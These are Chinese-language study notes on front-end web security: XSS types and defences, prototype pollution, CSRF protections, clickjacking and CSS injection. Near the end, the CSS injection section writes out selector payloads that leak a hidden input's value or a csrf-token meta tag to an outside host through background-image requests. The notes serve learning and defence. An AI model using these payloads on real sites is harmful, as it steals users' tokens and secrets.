前端安全

xss攻击

• Cross-Site Scripting（跨站脚本攻击）简称 XSS，是一种代码注入攻击。攻击者通过在目标网站上注入恶意脚本，使之在用户的浏览器上运行。利用这些恶意脚本，攻击者可获取用户的敏感信息如 Cookie、SessionID 等，进而危害数据安全。
• 三种类型:

  类型	存储区	插入点
  存储型 XSS	后端数据库	HTML
  反射型 XSS	URL	HTML
  DOM 型 XSS	后端数据库/前端存储/URL	JavaScript

• DOM 型 XSS 跟前两种 XSS 的区别：DOM 型 XSS 攻击中，取出和执行恶意代码由浏览器端完成，属于前端 JavaScript 自身的安全漏洞，而其他两种 XSS 都属于服务端的安全漏洞。
• 防范
  1. 阻止攻击者提交恶意代码
     • 输入过滤： 道高一尺魔高一丈，难
     • 输入长度限制
  2. 防止浏览器执行恶意代码
     • 预防存储型和反射型 XSS 攻击
       • 改成纯前端渲染，把代码和数据分隔开。
       • 对 HTML 做充分转义
     • 预防 DOM 型 XSS 攻击
  3. 利用 CSP 来抵御或者削弱 XSS 攻击，一个 CSP 兼容的浏览器将会仅执行从白名单域获取到的脚本文件，忽略所有的其他脚本
  4. 对关键 Cookie 设置 http-only 属性
• 参考：
  • 前端安全系列（一）：如何防止XSS攻击？ - 美团技术团队
  • Cross-site scripting（跨站脚本攻击） - MDN Web 文档术语表：Web 相关术语的定义 | MDN
  • Example
  • 浅谈 React 中的 XSS 攻击 - 掘金
  • 内容安全策略（CSP） - HTTP | MDN

JavaScript Prototype 污染攻击

prototype基本概念

• prototype是一个类的属性，所有类对象在实例化的时候将会拥有prototype中的属性和方法
• 一个对象的__proto__属性，指向这个对象所在的类的prototype属性

参考

• 深入理解 JavaScript Prototype 污染攻击 | 离别歌
• 继承与原型链 - JavaScript | MDN

CSRF

概念

• CSRF（Cross-site request forgery）跨站请求伪造
• 一次CSRF攻击的过程
  1. 攻击者诱导受害者进入第三方网站，在第三方网站中，向被攻击网站发送跨站请求。
  2. 利用受害者在被攻击网站已经获取的注册凭证，绕过后台的用户验证，达到冒充用户对被攻击的网站执行某项操作的目的。

特点:

• CSRF（通常）发生在第三方域名。
• CSRF攻击者不能获取到Cookie等信息，只是使用

防护策略

• 阻止不明外域的访问
  • 同源检测
    • 使用Origin Header确定来源域名
    • 使用Referer Header确定来源域名
    • 如果直接在本域发起攻击，同源策略无法达到防护的作用
    • Samesite Cookie
• 提交时要求附加本域才能获取的信息
  • CSRF Token
    • 我们可以要求所有的用户请求都携带一个CSRF攻击者无法获取到的Token。服务器通过校验请求是否携带正确的Token，来把正常的请求和攻击的请求区分开，也可以防范CSRF的攻击
    • 双重Cookie验证
      • 难以做到子域名的隔离

参考：

• 前端安全系列（二）：如何防止CSRF攻击？ - 美团技术团队

点击劫持攻击

原理

1. 黑客创建一个恶意页面
2. 页面中有一个吸引用户点击的按钮
3. 按钮上方放置一个透明的iframe，其src为黑客希望以用户的名义点击的网站

防护策略

• 不希望被在iframe中查看: 使用 X-Frame-Options: SAMEORIGIN
• 若要允许在iframe中显示，则可以使用一个<div>对整个页面进行遮盖

  <script>
    if (top.document.domain == document.domain) {
        protector.remove();
    }
  </script>
  

• 使用samesite cookie

参考

• 点击劫持攻击

CSS injection

• 属性选择器可以選到「屬性符合某個條件的元素」: input[value^=a]
• 可以利用 CSS 發出 request

  input[name="secret"][value^="a"] {
    background: url(https://myserver.com?q=a)
  }
  

• 偷 hidden input
  • 因為 input 的 type 是 hidden，所以這個元素不會顯示在畫面上,也就不会载入背景图片
  • display:block !important;不起作用
  • 方法:
    • +: 選到後面的元素
    • has: 選到「底下符合特殊條件的元素」
• 偷meta
  • 可以自己用 CSS 讓這個元素變成可見

    head, meta {
    display: block;  
    }
    
    meta[name="csrf-token"][content^="a"] {
    background: url(https://example.com?q=a);
    }
    

参考

• 用 CSS 來偷資料 - CSS injection（上） - Huli’s blog